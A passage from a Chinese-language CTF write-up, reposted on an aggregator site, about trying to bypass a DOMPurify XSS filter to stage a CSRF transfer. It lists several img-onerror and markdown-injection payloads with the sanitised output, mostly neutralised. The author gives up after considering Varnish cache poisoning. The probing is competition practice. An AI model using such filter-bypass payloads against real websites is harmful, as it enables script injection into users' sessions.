看一下过滤的功能,使用了 DOMPurify 进行过滤

image-20220518235849023

我的思路是通过bypass 这个 xss filter,给 icarus 转账,造成CSRF给我转账,或者更改信息等操作。

`<em id="aaa`bbb">
-><em id="aaabbb">

<strong>I am trying to be <s>malicious</s> <u>here</u>! <img src=1 onerror=alert(1)></strong>
-> <strong>I am trying to be <s>malicious</s> here! <img src="1"></strong>

<strong></p><a id="</style><img src=1 onerror=alert(1)>">
-><strong></strong><strong><a id="</style><img src=1 onerror=alert(1)>"></a></strong>

<strong></p><a id="<img src=1 onerror=alert(1)>">
-><strong></strong><strong><a id="<img src=1 onerror=alert(1)>"></a></strong>

![](http://test)
-><img alt="" src="http://test">

[<a><img src=\\ onload=1>\"onerror=alert(1)></a>](http://test)
=> <a href="http://test"></a><a><img src="\">"onerror=alert(1)&gt;</a>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

一些文章

https://jorianwoltjer.com/blog/post/ctf/nahamcon-ctf-2022/two-for-one

https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e

xss的过滤器实在是绕不过去,重新看一下附件,发现使用了varnishi作为缓存

image-20220519151241215

立马思路转变,可以尝试web 缓存投毒就不用费力气去bypass filter,很可惜关于这方面知识欠缺,最终放弃这道题目

CheckpointBots

JAVA题 本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/424767

推荐阅读
相关标签